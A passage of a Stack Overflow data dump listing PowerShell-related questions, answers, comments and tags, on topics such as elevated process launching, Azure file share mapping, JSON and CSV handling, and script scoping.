successfully." } else { Write-Host "Credential file not found. Please store your credentials first." } } # Main execution block Store-Credentials Launch-Program The portion of code I am having an issue with is $process = Start-Process "c:\BA9\allywin.exe" -Verb RunAs -Credential $credential These are the errors I am getting when I am running the Launch-Program function or when I just run the one line of code that I have above. PS C:\Users\BrokerAlly> Launch-Pro…
has title: Powershell - Launch a program as admin using stored admin creds
tagged with: start-process
answer count: 0
tagged with: powershell
duplicate of: http://stackoverflow.com/q/77410675
score: 0
type: UnansweredQuestion

http://stackoverflow.com/comment/139614754
has text: It turns out that I misunderstood how the regular expression works '?' )). ...previous character... Thanks!
type: Comment
comment on: http://stackoverflow.com/a/79175800
score: 1
type: AnswerComment

http://stackoverflow.com/comment/139664239
type: QuestionComment
comment on: http://stackoverflow.com/q/79202910
type: Comment
has text: These are columns which I would like to write to the csv. These columns give me some information about the site, library, folder or document which is shared with more as 50 users.
score: 0

http://stackoverflow.com/comment/139496530
has text: Glad to hear it helped, @JG84; my pleasure.
type: AnswerComment
comment on: http://stackoverflow.com/a/79111010
score: 0
type: Comment

http://stackoverflow.com/comment/139689004
has text: Thank you it is infinitely faster. I may have not been precise with my example. The JSON contains about 400.000 of the `{ "externalId": "100000", "watchers": ["some@email.address", "anoteher@email.address", "more.email@address.too"] }` part, and of course the CSV file is a lot longer. About 7000 entries. If I use the code above, it puts the IDs from every "block" to the first block's watchers array. I add to the JSON example. I'm running Visual Studio with PowerShell version 7+
type: Comment
comment on: http://stackoverflow.com/a/79216844
score: 0
type: AnswerComment

http://stackoverflow.com/comment/139716734
type: Comment
has text: I suggest avoiding even temporary modification of UAC policies. Your original approach can be made to work without compromising security, as detailed in my answer.
score: 1
comment on: http://stackoverflow.com/a/79231407
type: AnswerComment

http://stackoverflow.com/comment/139490766
score: 0
has text: I tried the suggested commands: `Get-AzResourceProvider -ProviderNamespace Microsoft.DomainRegistration` `Register-AzResourceProvider -ProviderNamespace Microsoft.DomainRegistration` However, the result remained unchanged. I'm still encountering the same error when attempting to generate the SSO request.
type: QuestionComment
comment on: http://stackoverflow.com/q/79104926
type: Comment

http://stackoverflow.com/comment/139615575
score: 0
has text: I found that the above script worked for me but not for you because my organization has less than 100 people. The return values ​​of the `7.0` version of the API and the `4.1-preview.1` version of the API are slightly different. I have made corresponding changes to my scripts, please try the latest scripts again.
type: AnswerComment
comment on: http://stackoverflow.com/a/79132466
type: Comment

http://stackoverflow.com/comment/139430261
has text: Did you try supplying multiple service names to `docker up` (eg. `docker up -d service1 service3`)? What happens when you do?
score: 0
comment on: http://stackoverflow.com/q/79075233
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139731704
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79240454
has text: What an odd thing to do. Why run a batch to run Powershell, why not just run `powershell.exe` directly? Even better, you can run Powershell direct from C# using `Powershell.Create`. "I'm trying to avoid using PowerShell calls inside my code" why?
score: 1

http://stackoverflow.com/comment/139546689
score: 0
comment on: http://stackoverflow.com/q/79111405
type: QuestionComment
has text: -mklement0 note sure I would add to the command to do that
type: Comment

http://stackoverflow.com/comment/139529150
score: 0
comment on: http://stackoverflow.com/q/79128851
has text: This: [C# - How to get real screen resolution in multiple monitors context?](https://stackoverflow.com/questions/43187663/c-sharp-how-to-get-real-screen-resolution-in-multiple-monitors-context), should also be retrievable via PowerShell: `powershell -Command "[System.Windows.Forms.Screen]::AllScreens | ft Bounds"` (sorry cannot test, I only have 1 monitor attached)
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139651231
type: AnswerComment
has text: Interesting, @alx9r. I've updated the answer with a solution that defines the function in the _caller's_ scope, whatever scope that is, based on a streamlined version of the code in the GitHub discussion. Please see the new bottom section.
type: Comment
comment on: http://stackoverflow.com/a/79193354
score: 0

http://stackoverflow.com/comment/139577775
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79155083
has text: You can use the `Azure.Messaging.EventHubs` package: https://github.com/Azure/azure-sdk-for-net/blob/main/sdk/eventhub/Azure.Messaging.EventHubs/samples/Sample05_ReadingEvents.md#read-events-from-all-partitions-with-a-maximum-wait-time
score: 1

http://stackoverflow.com/comment/139710712
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79223169
has text: `Get-AzAccessToken` works independently of the active Azure PowerShell session and does not reuse the session token obtained via `Connect-AzAccount`. The `Get-AzAccessToken` solely works for the token retrieval part. @Shuzheng
type: QuestionComment

http://stackoverflow.com/comment/139720507
score: 0
type: QuestionComment
has text: Sure: https://gist.github.com/ievgiienko/c2d09a9429903b8665351e80a3054ca0
comment on: http://stackoverflow.com/q/79234274
type: Comment

http://stackoverflow.com/a/79095339
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/139476831
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/139510565
answers question: http://stackoverflow.com/q/79088290
has body: What I get running your code is this (despite Spin() and common.h were not included in your post): $ a.out & a.out & [1] 163674 [2] 163675 (163674) address pointed to by p: 0x5b2b0f6912a0 (163675) address pointed to by p: 0x60fb95c322a0 As you see, both adresses are different. Today, mostly in 64bit computers, the linux kernel (which I'm using to get your code running) randomizes the memory maps of the programs at dynamic loading, putting the different segments (text, data and stack) at random places in virtual memory. This is done as a countermeasure against malware, and is not the used behaviour that was done at the time the book was written, and explains the output you observe. Well, to reproduce the example as the book expects it, I can run your program in an old unix v7 (courtesy of Caldera, downloaded from www.tuhs.org) running on a pdp-11 simulator (simh), and let's see what happens: [console]lcu@pdp-11 $ a.out & a.out & 100 101 [console]lcu@pdp-11 $ (100) address pointed to by p: 4104 (101) address pointed to by p: 4104 (100) p: 1 (101) p: 1 (100) p: 2 (101) p: 2 (100) p: 3 in this case you see that both processes (pids 100 and 101) show 4104 as the address. Both processes have executed the same code in malloc() with identical virtual address spaces (the virtual address space of a pdp-11 is 64kb only) so malloc has returned the same address for the first malloc in the program. But this doesn't happen today. BTW the example is a bit unfortunate, because both programs store the same value at the same address... but in theory, if the address was the same, both programs should increment the same location making each program to count twice, instead of seeing both programs to show the same number at each printf, they should increment the number each and they would show consecutive numbers, not the same number both. The actual program run had to be changed, as v7 has an old K&R compiler that doesn't support ANSI prototypes: #include<stdio.h> main() { int *p = mallo…
has comment: http://stackoverflow.com/comment/139512014

azure-virtual-machine
tags question: http://stackoverflow.com/q/79193823
tag name: azure-virtual-machine
type: Tag
tags question: http://stackoverflow.com/q/79280712

http://stackoverflow.com/comment/139638972
score: 0
type: AnswerComment
has text: Hello Mathias. I have tried your script but I got an issue : Invoke-RestMethod : 404null for uri: http://jira:8010/jira/rest/api/2/rest/agile/1.0/issue/sprint/24124/issue At D:\Scripts\eventCreation\JIRA_AddSprint.ps1:26 char:3 + Invoke-RestMethod -Method Put -ContentType 'application/json' -Uri ... + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
comment on: http://stackoverflow.com/a/79188739
type: Comment

applocker
tags question: http://stackoverflow.com/q/79074595
tag name: applocker
type: Tag

http://stackoverflow.com/comment/139478533
has text: I didn't know this worked. Thank you so much!
comment on: http://stackoverflow.com/q/79101110
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/139617465
comment on: http://stackoverflow.com/a/79167139
type: Comment
score: 1
type: AnswerComment
has text: Thanks again for your help and explanation.

http://stackoverflow.com/comment/139467978
score: 1
type: AnswerComment
has text: look's quite efficient.
comment on: http://stackoverflow.com/a/79095515
type: Comment

http://stackoverflow.com/comment/139687673
type: AnswerComment
has text: @jonsson: I haven't even looked that closely, but the argument is simple: if the pipeline (+ `ForEach-Object`) and the `foreach` statement know how to enumerate such instances and do, there's no good reason not to also do it in the context of the intrinsic `.ForEach()` method and member-access enumeration. In other words: all of PowerShell's _enumeration contexts_ should behave the same.
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79212071

http://stackoverflow.com/comment/139613370
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79172045
has text: [Is it possible to add in the .CPL pathext ?](https://github.com/PowerShell/PowerShell/issues/9797). Under Powershell the extension `.cpl` is added, when doing, under a Command prompt': `ECHO %PATHEXT%` this extension is not there...
type: AnswerComment

http://stackoverflow.com/comment/139646745
has text: Thank you @SantiagoSquarzon. Is there a particular reason you chose `{ & $command }.GetNewClosure()` rather than `($command.ScriptBlock)`?
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79193404
type: Comment

jira
type: Tag
tag name: jira
tags question: http://stackoverflow.com/q/79121690
tags question: http://stackoverflow.com/q/79188506

http://stackoverflow.com/a/79101075
score: 0
answers question: http://stackoverflow.com/q/79100715
has body: You are overthinking # Set the path of the directory containing the files. $DirectoryPath = 'C:\SFTP_Root\SMGR' # Set the date before when you want do delete the files. $CutoffDate = (Get-Date).AddDays(-60) # Get all files(and only files) in $DirectoryPath. Get-ChildItem -File -Path $DirectoryPath | # Keep only those created before $CreationDate. Where-Object -Property CreationTime -LT $CutoffDate | # REMOVE VAGA... I mean: delete them. Remove-Item replace CreationDate with LastWriteTime if necessary
type: Answer

http://stackoverflow.com/comment/139650331
type: Comment
comment on: http://stackoverflow.com/a/79193354
type: AnswerComment
score: 1
has text: I think you've covered everything from my OP. I have been distracted by whether a numeric scope modifier can be used instead of `global` via a public API. [.GetScopeByID()](https://github.com/PowerShell/PowerShell/blob/7ca7aae1d13d19e38c7c26260758f474cb9bef7f/src/System.Management.Automation/engine/SessionStateScopeAPIs.cs#L49) indeed accepts numeric scopes, but it is internal. I succeeded with reflection after coming across [this befuddling discussion](https://github.com/PowerShell/PowerShell/discussions/16881#discussion-3876256). That OP has a representative demo.

http://stackoverflow.com/comment/139730402
type: Comment
has text: @alx9r I can add a further evaluation that probes what you want but I really dont know what is not clear already about this answer, you shouldn't attempt to invoke a scriptblock in a different runspace than the one it was created before stripping its runspace affinity. The error message isn't clear I agree with that but there is nothing we can do in a stack overflow answer about it.
comment on: http://stackoverflow.com/a/79240036
score: 0
type: AnswerComment

http://stackoverflow.com/comment/139594017
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79164563
has text: How is the user entering the password? No escaping would be needed if you were using `Read-Host -AsSecureString`
type: Comment

http://stackoverflow.com/a/79150654
downvote count: 0
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/79150204
has body: You were close, but trying to write all in one extremely long line is bad practice. When you indent your code properly, it is much easier to spot mistakes. Try $result = foreach ($file in (Get-ChildItem -Path $PSScriptRoot -Exclude *.txt, *.ps1, *.csv -File -Recurse)) { [PsCustomObject]@{ Path = $file.FullName # append | Resolve-Path -Relative if you want the relative path Size = $file.Length MD5 = ($file | Get-FileHash -Algorithm MD5).Hash SHA1 = ($file | Get-FileHash -Algorithm SHA1).Hash } } $outFile = Join-Path -Path $PSScriptRoot -ChildPath 'filehashes.csv' $result | Export-Csv -Path $outFile -NoTypeInformation
score: 2
upvote count: 2
type: Answer
answers question: http://stackoverflow.com/q/79150204

http://stackoverflow.com/comment/139617746
has text: Or use `Set-Content -NoNewLine` when saving the file.
type: AnswerComment
score: 2
type: Comment
comment on: http://stackoverflow.com/a/79177514

http://stackoverflow.com/comment/139511023
type: QuestionComment
comment on: http://stackoverflow.com/q/79119175
type: Comment
score: 0
has text: Try using Invoke-RestMethod instead. The issue is that an HTTP response is being returned with Invoke-WebRequest before the java is completing so you do not get any errors but also do not get the entire results.

http://stackoverflow.com/comment/139484016
comment on: http://stackoverflow.com/q/79104448
type: QuestionComment
type: Comment
has text: See also: [Rule request: Prefix parameters with an unambiguous (ASCII) hyphen-minus #1932](https://github.com/PowerShell/PSScriptAnalyzer/issues/1932)
score: 0

http://stackoverflow.com/comment/139661942
score: 0
comment on: http://stackoverflow.com/q/79201757
type: QuestionComment
type: Comment
has text: Did you see this: https://stackoverflow.com/questions/18032147/parsing-xml-using-powershell

http://stackoverflow.com/comment/139719617
has text: Execute the script manually from a client PC and ensure that the expected change is reflecting on registry Detection rule plays a crucial role on deploying a package through Intune. Instead of keeping the detection rule as a registry value, Try with a plain file name - C:\Temp\ScriptChceck.txt or something similar. The objective is to make sure that detection rule fails to detect the file and trigger the deployment. Review the configuration on the deployment. Since its a script, I would suggest to run it under system context If its failing, Validate the Intune logs from client side
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79232971
score: 0

http://stackoverflow.com/comment/139520883
comment on: http://stackoverflow.com/q/79098114
type: QuestionComment
type: Comment
has text: @ZiyangLiu-MSFT Actually I had a permission to access self hosted agent which runs this pipeline and executed my script. It is producing same error as in pipeline (no details). Seems like the difference are in between those two machines. Do you have an idea what could cause this?
score: 0

http://stackoverflow.com/comment/139495380
comment on: http://stackoverflow.com/a/79110474
score: 2
type: Comment
has text: Nice, though note that it's more robust and efficient to apply the output redirection to the entire loop, which requires enclosing it in `(...)`: `(for /f "tokens=*" %%a in ('dir /b /s /o') do ( icacls "%%a" )) > access_list.txt`
type: AnswerComment

http://stackoverflow.com/a/79119589
type: AcceptedAnswer
upvote count: 4
answers question: http://stackoverflow.com/q/79119453
score: 4
accepted answer of: http://stackoverflow.com/q/79119453
downvote count: 0
type: Answer
has body: It seems redundant that both exist, so I wonder why I would use one over the other. There is no redundancy, PowerShell depends on PSCommand. PSCommand isn't a class you will be manually instantiating, or I can't think of a place where you would want to manually instantiate it. This class is instantiated in the .Commands property of a PowerShell instance and represents the collection of commands or scripts your instance will invoke when you call its *Invoke() methods. In addition, .Commands isn't usually a property you'll be interacting with directly as the PowerShell class has APIs wrapping its PSCommand member, see PowerShell.cs#L975-L1496. All Add*() methods will direct the call to _psCommand.Commands except for .Clear().

http://stackoverflow.com/comment/139544627
score: 0
comment on: http://stackoverflow.com/q/79132803
has text: Maybe I am asking this question wrong. Is it possible to launch a `New-PSSession` on the current machine without it blocking? All the examples I've seen use remote machines...
type: QuestionComment
type: Comment

mariadb
type: Tag
tag name: mariadb
tags question: http://stackoverflow.com/q/79137517

http://stackoverflow.com/comment/139535644
has text: Try testing for `$_.StrongAuthenticationMethods.Count -gt 0` instead of `$_.StrongAuthenticationMethods -ne $null`
score: 1
comment on: http://stackoverflow.com/q/79132942
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139534910
comment on: http://stackoverflow.com/q/79132168
type: QuestionComment
type: Comment
has text: The cmdlet does not work with a shared directory (Active Directory) https://learn.microsoft.com/en-us/powershell/module/activedirectory/get-aduser?view=windowsserver2022-ps#notes
score: 0

http://stackoverflow.com/comment/139474528
has text: Tell me about it. I had the answer before creating the question. I have done all the work. He posted his answer before me, just moments after the question was approved.
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/79094419
score: 0

http://stackoverflow.com/comment/139551928
score: 0
comment on: http://stackoverflow.com/a/79141731
type: AnswerComment
has text: It's not my question, I'm just an interested observer. I'm speaking of the `/f../` component.
type: Comment

http://stackoverflow.com/comment/139631606
type: QuestionComment
type: Comment
score: 1
has text: What happens? Does `-Path ".\abuse\change\99.md" -Target "$PWD\change\99.md"` work?
comment on: http://stackoverflow.com/q/79185049

http://stackoverflow.com/a/79238804
score: 1
upvote count: 1
has body: Happens mainly on powershell.exe, you should use the -File or -f parameter if you're targeting a script and want to pass-in arguments: powershell -f .\SwitchWindowsAudio.ps1 '{0.0.0.00000000}.{44c76b90-01ce-485c-8705-e93f9be4c435}' Another alternative that should also work would be (no -f needed here): powershell &quot;.\SwitchWindowsAudio.ps1 '{0.0.0.00000000}.{44c76b90-01ce-485c-8705-e93f9be4c435}'&quot; In pwsh.exe (PowerShell 7+) you don't need to specify -f (it's the default parameter there), however in all cases you must quote your argument, this is because { ... } is the syntax for a script block and since you have a dot right after {0.0.0.00000000} it will try to reference a property on the script block ({44c76b90-01ce-485c-8705-e93f9be4c435}) that doesn't exist, thus resulting to $null.
answers question: http://stackoverflow.com/q/79238760
accepted answer of: http://stackoverflow.com/q/79238760
type: AcceptedAnswer
type: Answer
downvote count: 0

http://stackoverflow.com/comment/139542106
type: AnswerComment
has text: APPLICATIONINSIGHTS_CONNECTION_STRING is already their in environmental variables and the instrumentation key is consumed in script. And now added Authorization=AAD in variables but still same issue
comment on: http://stackoverflow.com/a/79136206
type: Comment
score: 0

admin
tag name: admin
type: Tag
tags question: http://stackoverflow.com/q/79151185

http://stackoverflow.com/comment/139609688
has text: @iRon, i don't think so, I don't want classic buffering as in collect until there's X items and then send all X in one batch/burst, I'd like CommandA to continue working on up to 10 items but *not* delay flow until there actually *is* 10 items. CommandB should be getting new stuff as soon as possible.
type: QuestionComment
comment on: http://stackoverflow.com/q/79172648
type: Comment
score: 1

http://stackoverflow.com/comment/139460130
score: 0
comment on: http://stackoverflow.com/q/79090851
type: QuestionComment
type: Comment
has text: What version of msbuild are you using? Have you tried adding the namespace suggested in the error? Did it fix the problem?

http://stackoverflow.com/comment/139610683
has text: Nice, though `$arr -split '(?<!all) for'` will do.
type: AnswerComment
score: 2
type: Comment
comment on: http://stackoverflow.com/a/79173234

http://stackoverflow.com/a/79226143
answers question: http://stackoverflow.com/q/79225874
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/79225874
has body: How to connect an Azure Share to a Windows Drive Letter You can use the below script to connect the Azure File Share to your windows with connection string using Powershell. Script: $connectionString = "DefaultEndpointsProtocol=https;AccountName=xxx;AccountKey=xxxxx;EndpointSuffix=core.windows.net" $shareName = "share1" # Replace with your Azure File Share name $driveLetter = "Z" # Desired drive letter $connectionStringDict = @{} $connectionString.Split(';') | ForEach-Object { $key, $value = $_ -split '=', 2 $connectionStringDict[$key] = $value } $accountName = $connectionStringDict["AccountName"] $accountKey = $connectionStringDict["AccountKey"] $endpointSuffix = $connectionStringDict["EndpointSuffix"] $fileSharePath = "\\$accountName.file.$endpointSuffix\$shareName" # Test connectivity to port 445 Write-Host "Testing connectivity to $accountName.file.$endpointSuffix on port 445..." $connectTestResult = Test-NetConnection -ComputerName "$accountName.file.$endpointSuffix" -Port 445 if ($connectTestResult.TcpTestSucceeded) { Write-Host "Connection successful! Proceeding with drive mapping..." # Save credentials for persistence Write-Host "Saving credentials..." cmd.exe /C "cmdkey /add:`"$accountName.file.$endpointSuffix`" /user:`"localhost\$accountName`" /pass:`"$accountKey`"" # Map the drive Write-Host "Mapping drive $driveLetter to $fileSharePath..." New-PSDrive -Name $driveLetter -PSProvider FileSystem -Root $fileSharePath -Persist Write-Host "Drive mapped successfully! You can access it as ${driveLetter}:" } else { Write-Error -Message "Unable to reach $accountName.file.$endpointSuffix via port 445. Check your network configuration or consider using VPN or other tunneling options." } Output: Testing connectivity to venkat326123.file.core.windows.net on port 445... Connection successful! Proceeding with drive mapping... Saving credentials... CMDKEY: Credential added successfully. Mapping drive Z to \\accountname.file.core.windows.net\share1... Name Used (GB) Free …
type: Answer
score: 2
upvote count: 2
downvote count: 0

http://stackoverflow.com/comment/139712457
comment on: http://stackoverflow.com/q/79229813
type: QuestionComment
type: Comment
has text: Yeah, or is there any better way also its fine
score: 0

http://stackoverflow.com/comment/139525845
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79126566
has text: Thanks, I know it is hard without the results - I just didn't want to share all of the IPs, but I will share a few that for sure did not replace correctly and see if that helps. For instance, one of the replaces is "10.44.189" = "10.225.8". In the actual file, 10.44.189 gets replaced with 10.229.18689 - I have no idea where that is coming from.
score: 0

http://stackoverflow.com/comment/139555940
comment on: http://stackoverflow.com/q/79132168
has text: I'm just reporting what the online manual says. It doesn't say what error message you get when it fails. Sometimes error messages are misleading.
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/139670879
type: Comment
comment on: http://stackoverflow.com/q/79206642
score: 0
has text: Do you want to create a VM extension using myscript.ps1 and a parameter JSON file, both of which need to be accessed from the Azure Storage container in myscript.ps1?
type: QuestionComment

http://stackoverflow.com/comment/139737787
has text: Did any of the below answers help?
score: 0
comment on: http://stackoverflow.com/q/79163395
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139588249
type: QuestionComment
comment on: http://stackoverflow.com/q/79161585
type: Comment
score: 0
has text: can you share your script and why you are not satisfy with it ?

http://stackoverflow.com/comment/139653066
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79196973
has text: Hello Theo, thank you for your response. With your method, VSCode shows that the file is in UFT-16 LE, but nothing has changed. It still says ```Z�rcher``` and ```Meriç```.

http://stackoverflow.com/comment/139524265
type: QuestionComment
has text: @JosefZ I don't quite understand the position argument TBH. Not very lucid explanation, since they're missing examples. Here ⏫ will be a great example to include in your MS documentation!
type: Comment
comment on: http://stackoverflow.com/q/79124278
score: 0

http://stackoverflow.com/comment/139428622
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79074308
has text: Ensure you are using LDAP protocol version 3 that support pagination: `$ldapConnection.SessionOptions.ProtocolVersion = 3`
type: QuestionComment

http://stackoverflow.com/comment/139639288
comment on: http://stackoverflow.com/a/79178363
type: Comment
has text: As of now I have just hardcoded the branch name but want to fetch this at runtime @Rui
score: 0
type: AnswerComment

http://stackoverflow.com/a/79228417
downvote count: 0
answers question: http://stackoverflow.com/q/79227970
type: Answer
has body: Indeed, the nested loop must refer to the outer loop's iteration variable rather than to the input object graph as a whole, as Daniel points out. If you mistakenly access the whole object graph in the nested loop with $array.Data.Items, you perform member-access enumeration on the $array.Data array, meaning that the .Item property values across all array elements are returned. To put it all together (variables renamed for clarity); note that member-access enumeration is still selectively used, namely in $product.Items.Amount in order to obtain the amounts across all .Item elements: # Note: -Raw makes Get-Content much faster by reading the entire file # content into as single, multiline string. $objectGraphfromJson = Get-Content -Raw response.json | ConvertFrom-Json # Loop over all elements of the array in the `.Data` property. foreach ($product in $objectGraphfromJson.Data) { # Create and output the header object. [pscustomobject] @{ row = 'Header' ID = $product.ID Code = $product.Code # Sum up the amounts across all child items. Cost = ($product.Items.Amount | Measure-Object -Sum).Sum } # For each `.Data` element, loop over its items and # create and output an object for each. foreach ($item in $product.Items) { [pscustomobject] @{ row = 'Item ' + $item.LineNo ID = $product.ID Code = $product.Code Cost = $item.Amount } } } Output (the equivalent of what you requested, based on PowerShell's automatic for-display formatting of the objects that were output): row ID Code Cost --- -- ---- ---- Header 9663696221792 08099991 21.130 Item 1 9663696221792 08099991 5.050 Item 2 9663696221792 08099991 16.080 Header 9663696221793 08028001 26.130 Item 1 9663696221793 08028001 26.130
score: 3
upvote count: 3

http://stackoverflow.com/comment/139513587
has text: Hi @Aleksandrs Petrovs, can you share an easy PowerShell script that can reproduce 400 error with us? I haven't been able to reproduce the same issue from my side. Ensure to remove personal info from the script.
comment on: http://stackoverflow.com/q/79098114
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/139548583
type: Comment
has text: Can you have a try to run the above scripts in a PowerShell task in Azure pipeline and using image `windows-2022`? Don't forget to create a secret for your client app in AAD.
score: 0
comment on: http://stackoverflow.com/a/79132466
type: AnswerComment

http://stackoverflow.com/comment/139665855
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/79202285
has text: Good question: [about_Functions](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_Functions#named-parameters) doesn't give the two syntax forms names. Informally, I've used _inline_ syntax (perhaps alternatively: _C#-like_) vs. _`param`-keyword_ syntax.
type: Comment

http://stackoverflow.com/comment/139431521
score: 0
comment on: http://stackoverflow.com/q/79075877
type: QuestionComment
has text: WAP ESSID MACAddr WAP01 wifitrusted xx:xx:xx:xx:xx:xx WAP02 wifiguest xx:xx:xx:xx:xx:xx
type: Comment

http://stackoverflow.com/comment/139542288
comment on: http://stackoverflow.com/a/79136206
type: Comment
score: 0
has text: you need `APPLICATIONINSIGHTS_AUTHENTICATION_STRING` to be `Authorization=AAD`. is it what you setup?
type: AnswerComment

http://stackoverflow.com/a/79098919
answers question: http://stackoverflow.com/q/79096023
has body: The solution was that I needed to: Import-Module Az.Accounts before loading my modules, or within my class definition itself. class MyClass { [string]$azureTenantId # Constructor MyClass () { } [void] connectAzAccount(){ #this is required Import-Module Az.Accounts Connect-AzAccount -TenantId $this.azureTenantId } [void] setTenantId([string]$tenantId){ $this.azureTenantId = $tenantId } }
type: AcceptedAnswer
type: Answer
score: 0
accepted answer of: http://stackoverflow.com/q/79096023

http://stackoverflow.com/comment/139730467
type: Comment
comment on: http://stackoverflow.com/a/79240036
has text: @alx9r added the function you were asking for, no idea how that can be useful since you the developer have full control of the runspace you created and know exactly what arguments are being passed to it...
type: AnswerComment
score: 1

http://stackoverflow.com/comment/139626591
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79182266
has text: @SantiagoSquarzon hmm, makes sense. I am tyring to keep up ".ps1" with ".psm1", I guess its not practical. I though of `using module <module with class>` but again this runs into that hard rule of `param()` needing to be on the first line. By the way, what do you mean by "If you want to do runtime set then use existing decoration `ValidateSet`"

http://stackoverflow.com/comment/139631537
comment on: http://stackoverflow.com/q/79183054
score: 0
has text: As an aside: None of the CIM/WMI classes used in your code seem to exist on my W11 machine (at least not in the default namespace).
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139449417
comment on: http://stackoverflow.com/q/79085306
type: QuestionComment
has text: [This C# example might help you get started](https://stackoverflow.com/questions/6560493/messagebox-show-custom-icon)
type: Comment
score: 1

screen-resolution
tags question: http://stackoverflow.com/q/79176779
tag name: screen-resolution
type: Tag

ssas-tabular
type: Tag
tag name: ssas-tabular
tags question: http://stackoverflow.com/q/79093149

http://stackoverflow.com/comment/139568700
type: QuestionComment
type: Comment
has text: You cannot combine `-Verb RunAs` with `-Credential` - allowing that would amount to bypassing [UAC](https://en.wikipedia.org/wiki/User_Account_Control). By default, you cannot avoid UAC dialogs. The only workarounds are insecure and therefore strongly discouraged - see the linked duplicate for details.
comment on: http://stackoverflow.com/q/79151185
score: 0

http://stackoverflow.com/comment/139710314
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79227817
score: 0
has text: write-host converts to string

http://stackoverflow.com/comment/139702491
comment on: http://stackoverflow.com/q/79224521
has text: You don't need `CMD` at all to run commands on a remote machine at all, you know that, right? Regardless of that - why did you add the tags for different PowerShell versions? Are you asking for a specific version? If not you should remove these tags. Thanks in advance.
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/a/79208391
type: Answer
score: 0
has body: You can use Start-AzSynapseLinkConnection PowerShell command to start the Synapse connection link. After creating the synapse link connection, I have followed the same code from the documentation and here is a sample demo. Start-AzSynapseLinkConnection -WorkspaceName "rakeshsynapse2" -Name "linkconnection1" You can get start and get the status of the link connection using the below command. Get-AzSynapseLinkConnectionDetailedStatus -WorkspaceName "rakeshsynapse2" -Name "linkconnection1" You can see that the linkconnection was started. Result: Linkconnection in Synapse: Similarly, you can use Stop-AzSynapseLinkConnection PowerShell command to pause the link connection in the synapse.
answers question: http://stackoverflow.com/q/79208335

http://stackoverflow.com/comment/139718282
type: AnswerComment
type: Comment
has text: I think that the *Modified PS script has given below* section should be removed, as it doesn't really introduce anything new. The gist of your code is `Connect-AzAccount -Identity`. Could you elaborate on that?
score: 0
comment on: http://stackoverflow.com/a/79230072

http://stackoverflow.com/comment/139526040
comment on: http://stackoverflow.com/a/79121943
type: AnswerComment
type: Comment
has text: The code in the question already uses `-Directory` while looking for better performance; mentioning an even _slower_ alternative seems counterproductive.
score: 0

http://stackoverflow.com/comment/139668023
comment on: http://stackoverflow.com/q/79204520
has text: All the ATM/ITMs I've worked with the vendor had a service console that would provide status and configuration at a minimum.
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/139578610
type: Comment
comment on: http://stackoverflow.com/a/79150671
score: 1
type: AnswerComment
has text: Thanks @mklement0 this was what I needed to get this working properly

http://stackoverflow.com/comment/139698732
comment on: http://stackoverflow.com/q/79222331
type: QuestionComment
type: Comment
score: 0
has text: No, Out-Host is not the default. PowerShell cmdlets normally use the Success stream which buffers output until the end of the script. Using Format-Volume | Out-Host forces immediate display by moving the output to the Host stream, which is why you see the results in the order you want instead of at the end.

multipartform-data
tag name: multipartform-data
type: Tag
tags question: http://stackoverflow.com/q/79079906

http://stackoverflow.com/comment/139599656
type: QuestionComment
comment on: http://stackoverflow.com/q/79166949
type: Comment
score: 0
has text: @MichaelKay Hi Michael, Thanks for your reply. Could you please suggest what I have to do in this case ? If you help me to fix it out. It means a lot

stdout
type: Tag
tags question: http://stackoverflow.com/q/79203758
tag name: stdout

azure-storage-account
type: Tag
tags question: http://stackoverflow.com/q/79078102
tag name: azure-storage-account

http://stackoverflow.com/comment/139701008
type: Comment
has text: FYI, I've opened [this documentation issue](https://github.com/MicrosoftDocs/PowerShell-Docs/issues/11550) for the surprising side-effect of adding `-PassThru` to `-OutputAssembly`
comment on: http://stackoverflow.com/a/79201672
score: 1
type: AnswerComment

http://stackoverflow.com/comment/139663423
comment on: http://stackoverflow.com/q/79200338
score: 0
has text: I assume you are referring to the columns that can be shown in Windows Explorer AFAIR it bases on the Windows Property System https://learn.microsoft.com/en-us/windows/win32/properties/property-system-code-samples. However that API is for C/C++ code only.
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139520775
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79110614
score: 0
has text: @jdweng are you suggesting disabling `lfs: false`? That works but I need `lfs: true` and not face the error.

element
tags question: http://stackoverflow.com/q/79201757
type: Tag
tag name: element

environment-variables
tags question: http://stackoverflow.com/q/79236266
tag name: environment-variables
type: Tag
tags question: http://stackoverflow.com/q/79388266
tags question: http://stackoverflow.com/q/79273698
tags question: http://stackoverflow.com/q/79369963
tags question: http://stackoverflow.com/q/79461582
tags question: http://stackoverflow.com/q/79525089

http://stackoverflow.com/a/79092975
downvote count: 0
type: Answer
